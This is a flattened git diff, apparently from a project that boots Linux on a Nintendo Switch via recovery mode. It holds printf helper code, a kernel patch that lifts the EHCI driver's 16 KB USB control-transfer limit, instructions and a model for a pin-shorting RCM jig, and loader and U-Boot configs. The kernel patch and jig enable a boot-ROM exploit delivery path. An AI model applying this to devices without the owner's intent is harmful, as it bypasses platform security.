||||
sign = '+';
|
||||
else if (flags & PRINT_F_SPACE)
|
||||
sign = ' ';
|
||||
}
|
||||
|
||||
pos = convert(uvalue, iconvert, sizeof(iconvert), base,
|
||||
flags & PRINT_F_UP);
|
||||
|
||||
if (flags & PRINT_F_NUM && uvalue != 0) {
|
||||
/*
|
||||
* C99 says: "The result is converted to an `alternative form'.
|
||||
* For `o' conversion, it increases the precision, if and only
|
||||
* if necessary, to force the first digit of the result to be a
|
||||
* zero (if the value and precision are both 0, a single 0 is
|
||||
* printed). For `x' (or `X') conversion, a nonzero result has
|
||||
* `0x' (or `0X') prefixed to it." (7.19.6.1, 6)
|
||||
*/
|
||||
switch (base) {
|
||||
case 8:
|
||||
if (precision <= pos)
|
||||
precision = pos + 1;
|
||||
break;
|
||||
case 16:
|
||||
hexprefix = (flags & PRINT_F_UP) ? 'X' : 'x';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (separators) /* Get the number of group separators we'll print. */
|
||||
separators = getnumsep(pos);
|
||||
|
||||
zpadlen = precision - pos - separators;
|
||||
spadlen = width /* Minimum field width. */
|
||||
- separators /* Number of separators. */
|
||||
- MAX(precision, pos) /* Number of integer digits. */
|
||||
- ((sign != 0) ? 1 : 0) /* Will we print a sign? */
|
||||
- ((hexprefix != 0) ? 2 : 0); /* Will we print a prefix? */
|
||||
|
||||
if (zpadlen < 0)
|
||||
zpadlen = 0;
|
||||
if (spadlen < 0)
|
||||
spadlen = 0;
|
||||
|
||||
/*
|
||||
* C99 says: "If the `0' and `-' flags both appear, the `0' flag is
|
||||
* ignored. For `d', `i', `o', `u', `x', and `X' conversions, if a
|
||||
* precision is specified, the `0' flag is ignored." (7.19.6.1, 6)
|
||||
*/
|
||||
if (flags & PRINT_F_MINUS) /* Left justify. */
|
||||
spadlen = -spadlen;
|
||||
else if (flags & PRINT_F_ZERO && noprecision) {
|
||||
zpadlen += spadlen;
|
||||
spadlen = 0;
|
||||
}
|
||||
while (spadlen > 0) { /* Leading spaces. */
|
||||
OUTCHAR(str, *len, size, ' ');
|
||||
spadlen--;
|
||||
}
|
||||
if (sign != 0) /* Sign. */
|
||||
OUTCHAR(str, *len, size, sign);
|
||||
if (hexprefix != 0) { /* A "0x" or "0X" prefix. */
|
||||
OUTCHAR(str, *len, size, '0');
|
||||
OUTCHAR(str, *len, size, hexprefix);
|
||||
}
|
||||
while (zpadlen > 0) { /* Leading zeros. */
|
||||
OUTCHAR(str, *len, size, '0');
|
||||
zpadlen--;
|
||||
}
|
||||
while (pos > 0) { /* The actual digits. */
|
||||
pos--;
|
||||
OUTCHAR(str, *len, size, iconvert[pos]);
|
||||
if (separators > 0 && pos > 0 && pos % 3 == 0)
|
||||
printsep(str, len, size);
|
||||
}
|
||||
while (spadlen < 0) { /* Trailing spaces. */
|
||||
OUTCHAR(str, *len, size, ' ');
|
||||
spadlen++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void
|
||||
printsep(char *str, size_t *len, size_t size)
|
||||
{
|
||||
OUTCHAR(str, *len, size, ',');
|
||||
}
|
||||
|
||||
static int
|
||||
getnumsep(int digits)
|
||||
{
|
||||
int separators = (digits - ((digits % 3 == 0) ? 1 : 0)) / 3;
|
||||
return separators;
|
||||
}
|
||||
|
||||
static int
|
||||
convert(UINTMAX_T value, char *buf, size_t size, int base, int caps)
|
||||
{
|
||||
const char *digits = caps ? "0123456789ABCDEF" : "0123456789abcdef";
|
||||
size_t pos = 0;
|
||||
|
||||
/* We return an unterminated buffer with the digits in reverse order. */
|
||||
do {
|
||||
buf[pos++] = digits[value % base];
|
||||
value /= base;
|
||||
} while (value != 0 && pos < size);
|
||||
|
||||
return (int)pos;
|
||||
}
|
||||
|
||||
int vsprintf(char *buf, const char *fmt, va_list args)
|
||||
{
|
||||
return vsnprintf(buf, INT_MAX, fmt, args);
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
/*
|
||||
* Copyright (c) 1995 Patrick Powell.
|
||||
*
|
||||
* This code is based on code written by Patrick Powell <papowell@astart.com>.
|
||||
* It may be used for any purpose as long as this notice remains intact on all
|
||||
* source code distributions.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Copyright (c) 2008 Holger Weiss.
|
||||
*
|
||||
* This version of the code is maintained by Holger Weiss <holger@jhweiss.de>.
|
||||
* My changes to the code may freely be used, modified and/or redistributed for
|
||||
* any purpose. It would be nice if additions and fixes to this file (including
|
||||
* trivial code cleanups) would be sent back in order to let me include them in
|
||||
* the version available at <http://www.jhweiss.de/software/snprintf.html>.
|
||||
* However, this is not a requirement for using or redistributing (possibly
|
||||
* modified) versions of this file, nor is leaving this notice intact mandatory.
|
||||
*/
|
||||
#ifndef __VSPRINTF_H__
|
||||
#define __VSPRINTF_H__
|
||||
|
||||
#include <stdarg.h>
|
||||
|
||||
int vsprintf(char *buf, const char *fmt, va_list args);
|
||||
int vsnprintf(char *buf, size_t size, const char *fmt, va_list args);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,17 @@
|
|||
--- linux-4.14.27/drivers/usb/host/ehci-hcd.c.old 2018-04-17 18:00:00.000000000 +0000
|
||||
+++ linux-4.14.27/drivers/usb/host/ehci-hcd.c 2018-04-17 18:00:00.000000000 +0000
|
||||
@@ -873,14 +873,6 @@
|
||||
INIT_LIST_HEAD (&qtd_list);
|
||||
|
||||
switch (usb_pipetype (urb->pipe)) {
|
||||
- case PIPE_CONTROL:
|
||||
- /* qh_completions() code doesn't handle all the fault cases
|
||||
- * in multi-TD control transfers. Even 1KB is rare anyway.
|
||||
- */
|
||||
- if (urb->transfer_buffer_length > (16 * 1024))
|
||||
- return -EMSGSIZE;
|
||||
- /* FALLTHROUGH */
|
||||
- /* case PIPE_BULK: */
|
||||
default:
|
||||
if (!qh_urb_transaction (ehci, urb, &qtd_list, mem_flags))
|
||||
return -ENOMEM;
|
|
@ -0,0 +1,10 @@
|
|||
# 3D-printable RCM jig for the Switch
|
||||
|
||||
This little jig will let you enter RCM mode without having to sacrifice a
|
||||
Joy-Con or hold a piece of wire. You will need to break up a Micro USB connector
|
||||
to get at the pin contact wafer inside, remove all but pins 1 and 4 (which
|
||||
will contact pins 7 and 10 on the Switch respectively), short them together
|
||||
at the rear, then insert the wafer into the 3D printed jig. Trim it to fit and
|
||||
superglue it in place, then verify that the placement looks good.
|
||||
|
||||
![RCM jig photo](rcm-jig.jpg)
|
Binary file not shown.
After Width: | Height: | Size: 367 KiB |
|
@ -0,0 +1,38 @@
|
|||
|
||||
$fn=30;
|
||||
|
||||
w=9.1;
|
||||
w2=w-2;
|
||||
|
||||
pp=0.65;
|
||||
pw=0.4;
|
||||
pins=10;
|
||||
ps=((pins-1)*pp+pw)/2;
|
||||
pl=4.5;
|
||||
ph=0.6;
|
||||
|
||||
hl=11;
|
||||
hw=3.4;
|
||||
hpw=4*pp+pw;
|
||||
hdh=ph-0.2;
|
||||
pl2=3.5;
|
||||
|
||||
union() {
|
||||
difference() {
|
||||
union() {
|
||||
cube([w,20,1.8]);
|
||||
translate([1,4.5,0])
|
||||
cube([w2,15.5,3]);
|
||||
}
|
||||
translate([(w-w2)/2,0,0.8])
|
||||
cube([w2,4.5,1.8]);
|
||||
for (pin = [0:pins-1]) {
|
||||
translate([w/2-ps+pin*pp,0,ph])
|
||||
cube([pw,pl,2]);
|
||||
}
|
||||
translate([w/2+ps-hw+(hw-hpw)/2,pl2,hdh])
|
||||
cube([hw, hl-pl2, 4]);
|
||||
}
|
||||
translate([w/2,15,3])
|
||||
cylinder(2, 2.5, 2.5);
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1 @@
|
|||
*.img
|
|
@ -0,0 +1,2 @@
|
|||
#vid:pid, config_file
|
||||
0x0955:0x701a, switch.conf
|
|
@ -0,0 +1,5 @@
|
|||
switch
|
||||
hid,1024,0x80000000,0x80000000,2G
|
||||
../../linux/arch/arm64/boot/Image.gz:load 0x83000000
|
||||
../../linux/arch/arm64/boot/dts/nvidia/tegra210-nintendo-switch.dtb:load 0x8d000000
|
||||
switch.scr.img:load 0x8e000000,jump 0x8e000000
|
|
@ -0,0 +1,8 @@
|
|||
# mkimage -A arm64 -T script -C none -n "boot.scr" -d switch.scr switch.scr.img
|
||||
echo "unzipping kernel..."
|
||||
unzip 0x83000000 0x85000000
|
||||
setenv bootargs 'root=/dev/mmcblk0p2 rw fbcon=rotate:3 rootwait'
|
||||
echo "resetting usb..."
|
||||
usb reset
|
||||
echo "booting..."
|
||||
booti 0x85000000 - 0x8d000000
|
Loading…
Reference in New Issue